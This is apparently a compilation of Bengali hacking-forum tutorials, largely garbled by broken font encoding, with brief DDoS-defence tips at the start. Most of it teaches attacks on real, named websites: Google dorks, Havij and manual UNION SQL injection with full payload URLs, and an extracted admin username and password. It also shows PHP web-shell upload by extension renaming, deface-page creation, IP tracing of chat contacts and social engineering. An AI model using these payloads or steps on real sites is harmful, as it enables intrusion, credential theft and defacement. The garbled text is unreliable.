এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
